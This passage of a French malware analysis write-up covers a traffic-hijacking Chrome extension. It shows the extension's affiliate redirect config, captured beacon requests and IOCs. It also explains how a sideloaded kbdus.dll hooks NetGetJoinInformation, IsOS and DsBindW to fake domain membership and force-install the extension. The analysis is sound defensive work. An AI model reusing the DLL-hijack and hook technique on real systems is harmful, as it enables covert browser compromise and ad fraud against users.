    "redirectUrl": "https://www.cheapworth.com/shopnow.html?q=Eveoncontainers.com&category=Eveoncontainers.com#https%3A%2F%2Fus-go.kelkoogroup.net%2FmerchantGo%3F.ts%3D1758794625692%26.sig%3DChcAunD4AhJyrAbDPey5rTeg0vc-%26affiliationId%3D96981971%26comId%3D100550030%26country%3Dus%26cpcId%3D9035046%26merchantName%3DEveoncontainers.com%26searchId%3D107610035248679_1758794625648_35201251%26service%3D30%26tokenId%3D494a19aa-ad6a-43ba-8a04-25f3e581da05%26url%3Dhttps%253A%252F%252Fwww.eveoncontainers.com%252Fen-us%26originReferer%3Dwww.cheapworth.com%26custom1%3D5453eb2f-40ea-4151-a420-a06461e35b7c"
  },
  {
    "id": 100568588,
    "domain": "arctic-warriors.com",
    "subdomain": "www",
    "path": "/*",
    "redirectUrl": "https://www.cheapworth.com/shopnow.html?q=Arctic-warriors.com&category=Arctic-warriors.com#https%3A%2F%2Fus-go.kelkoogroup.net%2FmerchantGo%3F.ts%3D1758794652078%26.sig%3DS1zfqkG9H2OjuxQrebUt8Pm62s4-%26affiliationId%3D96981971%26comId%3D100568588%26country%3Dus%26cpcId%3D9035202%26merchantName%3DArctic-warriors.com%26searchId%3D107610036241008_1758794652023_30625125%26service%3D30%26tokenId%3D494a19aa-ad6a-43ba-8a04-25f3e581da05%26url%3Dhttps%253A%252F%252Farctic-warriors.com%26originReferer%3Dwww.cheapworth.com%26custom1%3D5453eb2f-40ea-4151-a420-a06461e35b7c"
  },
  {
    "id": 1,
    "domain": "amazon.com",
    "subdomain": "www",
    "path": "/*",
    "redirectUrl": "https://www.amazon.com?&linkCode=ll2&tag=pruchasing-20&linkId=456fd4b6e8093cfaccf45df291e85ffc&language=en_US&ref_=as_li_ss_tl"
  }

Installation de l'extension

Pour analyser l'extension sans activer l'ensemble de la chaîne d'infection, il a été nécessaire de la charger manuellement via chrome://extensions.
Dans le cadre de cette analyse, les scripts ont été nettoyés, les domaines remplacés par 127.0.0.1 et l'extension chargée en mode développeur.

Analyse des requêtes

Une fois l'extension chargée, il est possible d'observer les requêtes que l'extension envoie vers le mini serveur.
Le script content.js capture l'URL de la page visitée et le referrer.

Exemple d'une requête :

INFO:     127.0.0.1:20254 - "GET /c?bsr=1111&sxt=2&xmt=b6cd3e47-90d1-4559-960e-ca46ef6865d7&mbs=https%3A%2F%2Fsealkisnotklaes.fr%2Farticles%3Flang%3Den&pats=https%3A%2F%2Fsealkisnotklaes.fr%2F HTTP/1.1" 200 OK

Data from bad extension: 
xmt: b6cd3e47-90d1-4559-960e-ca46ef6865d7,
mbs: https://sealkisnotklaes.fr/articles?lang=en,
pats: https://sealkisnotklaes.fr/

 
Lorsqu'un domaine surveillé apparaît, le script background.js active le moteur de redirection.

Voici un exemple où la requête www.mintandlily.com est intercepté pour rediriger la victime sur www.cheapworth.com puis renvoyer de nouveau sur mintandlily.com :

INFO:     127.0.0.1:5705 - "GET /c?bsr=1111&sxt=2&xmt=b6cd3e47-90d1-4559-960e-ca46ef6865d7&mbs=https%3A%2F%2Fwww.cheapworth.com%2Fshopnow.html%3Fq%3DMintandlily.com%26category%3DMintandlily.com%23https%253A%252F%252Fus-go.kelkoogroup.net%252FmerchantGo%253F.ts%253D1758794640498%2526.sig%253D9.hFeSHG1VMGobs6t5RkaaQeeWI-%2526affiliationId%253D96981971%2526comId%253D100564326%2526country%253Dus%2526cpcId%253D9020511%2526merchantName%253DMintandlily.com%2526searchId%253D107610034243874_1758794640439_31079369%2526service%253D30%2526tokenId%253D494a19aa-ad6a-43ba-8a04-25f3e581da05%2526url%253Dhttps%25253A%25252F%25252Fmintandlily.com%2526originReferer%253Dwww.cheapworth.com%2526custom1%253D5453eb2f-40ea-4151-a420-a06461e35b7c&pats= HTTP/1.1" 200 OK

Data from bad extension: 
xmt: b6cd3e47-90d1-4559-960e-ca46ef6865d7,
mbs: https://www.cheapworth.com/shopnow.html?q=Mintandlily.com&category=Mintandlily.com#https%3A%2F%2Fus-go.kelkoogroup.net%2FmerchantGo%3F.ts%3D1758794640498%26.sig%3D9.hFeSHG1VMGobs6t5RkaaQeeWI-%26affiliationId%3D96981971%26comId%3D100564326%26country%3Dus%26cpcId%3D9020511%26merchantName%3DMintandlily.com%26searchId%3D107610034243874_1758794640439_31079369%26service%3D30%26tokenId%3D494a19aa-ad6a-43ba-8a04-25f3e581da05%26url%3Dhttps%253A%252F%252Fmintandlily.com%26originReferer%3Dwww.cheapworth.com%26custom1%3D5453eb2f-40ea-4151-a420-a06461e35b7c,
pats:



INFO:     127.0.0.1:5705 - "GET /c?bsr=1111&sxt=2&xmt=b6cd3e47-90d1-4559-960e-ca46ef6865d7&mbs=https%3A%2F%2Fmintandlily.com%2F&pats=https%3A%2F%2Fwww.cheapworth.com%2F HTTP/1.1" 200 OK

Data from bad extension:
xmt: b6cd3e47-90d1-4559-960e-ca46ef6865d7,
mbs: https://mintandlily.com/,
pats: https://www.cheapworth.com/

 
Enfin, le script i.js, qui injecte un iframe publicitaire dans le coin inférieur droit de la page visitée, a été chargé localement via un fichier HTML afin d'utiliser la configuration en 127.0.0.1 ce qui donne :

Image
L'iframe pointe vers un domaine externe chargé d'héberger des scripts permettant l'affichage de contenus sponsorisés et la génération de revenus par impressions ou interactions.


Analyse du mécanisme d'installation forcée

La DLL malveillante kbdus.dll commence par localiser et charger la véritable DLL système kbdus.dll située dans C:\Windows\System32.

Son objectif est de récupérer l'adresse réelle de l'export KbdLayerDescriptor afin de pouvoir y rediriger l'exécution lorsque chrome.exe appellera cette fonction :

Image

La DLL malveillante expose un export KbdLayerDescriptor portant exactement le même nom que celui de la DLL légitime.

Cependant, cet export ne contient qu'une instruction de saut jmp cs:KbdLayerDescriptor_0, qui sert de trampoline. L'appel émanant de chrome.exe est d'abord intercepté par la DLL frauduleuse, puis immédiatement redirigé vers l'implémentation originale.

Un peu plus loins nous avons le coeur du programme où la fonction sub_7FF9B41B19B0 est appelée à trois reprises pour placer un hook sur les trois fonctions (NetGetJoinInformation, IsOs, DsBindW) permettant de vérifier si le système est associé à un domaine :

Image

Pour rappel, placer un hook à ces fonctions permet d'alterer les véritables résultats dans le but de laisser chrome.exe charger l'extension malveillante Chrome-Secure-Internet.crx ce qui donne ce résultat :

Image

Hook de NetGetJoinInformation

Chrome appelle NetGetJoinInformation pour déterminer si la machine est join à un domaine. Cette fonction renvoi une valeur correspondant à l'une des ces informations :


Valeur Signification
0 Unknown
1 Unjoined
2 Workgroup
3 Domain

Image
La DLL malveillante force la valeur 3 avec l'instruction mov dword ptr [rax], 3 pour indiquer que le système est bien associé à un domaine et ce peu importe la valeur réelle renvoyée par le système, afin de satisfaire les exigences de chrome.exe.

Hook de IsOS

Chrome utilise également IsOS(0x1c) pour déterminer l'appartenance au domaine. La valeur 0x1c est envoyée car elle correspond à :


Nom Valeur Descriptif
OS_DOMAINMEMBER 28 L'ordinateur est joint à un domaine.

Chrome attend que la fonction lui renvoi 1. Par conséquent, le hook en place permet de forcer cette valeur :

Image
La DLL répond toujours positivement, en renvoyant 1 avec l'instruction mov eax, 1.
De nouveau, la DLL s'assure de faire croire à Chrome que l'environnement est administré et conforme à un déploiement d'entreprise.

Hook de DsBindW

Image
Le hook écrase la valeur de eax avec l'instruction xor eax, eax afin de renvoyer 0 et ce peu importe la valeur. Ce qui permet de renvoyer tout le temps vrai.


Debug de chrome.exe

Pour observer la mise en place des hooks en conditions réelles, nous commençons par instrumenter le chargement de kbdus.dll.

Analyse live

On lance API Monitor, puis on place un breakpoint sur l'appel à LoadLibraryExW.
Ensuite, on exécute chrome.exe et on avance avec Next jusqu'à ce que Chrome tente de charger C:\Program Files\Google\Chrome\Application\kbdus.dll :

Image

À partir de cet instant, nous devons nous attacher à chrome.exe via le debugger pour y placer nos breakpoints avant de relancer l'exécution.

Dans la liste des modules chargés, on remarque bien la présence de kbdus.dll.
La première fonction exportée accessible est KbdLayerDescriptor chargée en mémoire à l'adresse 0x00007FF9ACE11000. Pour atteindre le DllMain réel dans le contexte de Chrome, nous devons calculer l'offset entre cet export et l'adresse du DllMain relevée dans l'analyse statique :

DllMain - KbdLayerDescriptor = offset
0x7FF9C0DA10FC - 0x7FF9C0DA1000 = 0xFC

 
Donc pour obtenir l'adresse de DllMain dans notre contexte nous faisons :

KbdLayerDescriptor + offset = DllMain
0x00007FF9ACE11000 + 0xFC = 0x7FF9ACE110FC

Exécution et déclenchement des hooks

Les fonctions de remplacement maintenant identifiées, on place un breakpoint à l'intérieur de chacune d'entre-elles.
Une fois le processus chrome.exe relancé, on constate très rapidement que le programme appelle successivement IsOS() et NetGetJoinInformation() :

Image
On peut constater que l'argument passé à la fonction contient bien la valeur 0x1c correspondant bien à la valeur OS_DOMAINMEMBER. Ici la fonction renverra directement la valeur 1 dans eax.

Image
L'exécution ici donnera la valeur WORKGROUP (correspondant au nombre 2) étant donné qu'il s'agit d'une simple VM, et comme on peut le constater cette valeur est écrasée par la valeur 3 correspondant à l'information DOMAIN.

Cette séquence confirme bien que kbdus.dll est le noyau principal dans le déploiement de l'extension malveillant. Si le hooking échoue, alors l'extension ne s'installe jamais. Étant donné que le chargement de la DLL se fait sur la base du nom de "kbdus.dll", cette attaque affecte seulements les individus ayant déployé le clavier US.


Conclusion

Cette menace ne cherche ni la destruction ni l'exfiltration massive de données mais plutôt l'exploitation du trafic utilisateur.
L'ensemble de cette menace est conçu pour se fondre dans le comportement normal du système, tout en contournant les mécanismes de sécurité natifs de Chrome.

La DLL kbdus.dll constitue l'élément clé de la chaîne d'infection. En plaçant un hook sur les fonctions NetGetJoinInformation, DsBindW et IsOs, elle simule un environnement en entreprise, permettant l'installation forcée d'une extension en dehors du store. Ce qui est assez critique.

Une fois installée, l'extension adopte un comportement discret. Elle ne perturbe pas l'affichage des pages populaires, limite ses injections, ajuste ses actions selon le domaine visité et s'appuie sur une configuration qui peut être modifiée à tout moment.
Le choix d'un iframe avec bouton de fermeture renforce encore l'illusion de normalité car la victime pense pouvoir désactiver l'élément alors qu'il ne s'agit que d'une façade destinée à réduire sa vigilence.

Ce type d'abus est particulièrement difficile à détecter parce qu'il ne présente aucun comportement destructeur. Les solutions de sécurité sont souvent orientés vers la détection d'actions critiques sur le système. Par conséquent, ces outils peuvent passer à côté de ce genre de menace, la DLL n'obtient d'ailleurs qu'un score de 3/72 sur VirusTotal, tandis que l'extension, le fichier XML et le fichier de registre affichent tous un score de 0.
La persistance s'appuie sur un mécanisme normalement réservé aux environnements professionnels, ce qui lui permet d'échapper aux outils d'analyses classiques. Par exemple, autoruns ne signale pas cette clé comme une persistance potentielle.
De plus, les injections sont conditionnelles et guidées par des règles dynamiques, ce qui rend leur détection encore plus complexe.

Bien que cette attaque ne soit pas particulièrement complexe, son déploiement reste méthodique. Le détournement publicitaire, la manipulation de trafic et la simulation d'un poste d'entreprise s'articulent de façon cohérente.


IOCs

IOC type IOC value
domaine a.leru.info
domaine d.leru.info
domaine e.leru.info
domaine i.leru.info
sha1 2603369ff392a3f7ddbb65a7e9635f567a5cfecd44d2d6aad4160ff9e740c1b2 (a.ps1)
sha1 6f6348171222d7898b41d3c5757f6d7e8da887af25976c352acdf2a84c3944a6 (Chrome-Secure-Internet.crx)
sha1 46a910e9116c91414f190cde894973bd8ad4e6a7b7f90a5fa5c660dfc21763b5 (kbdus.dll)

Références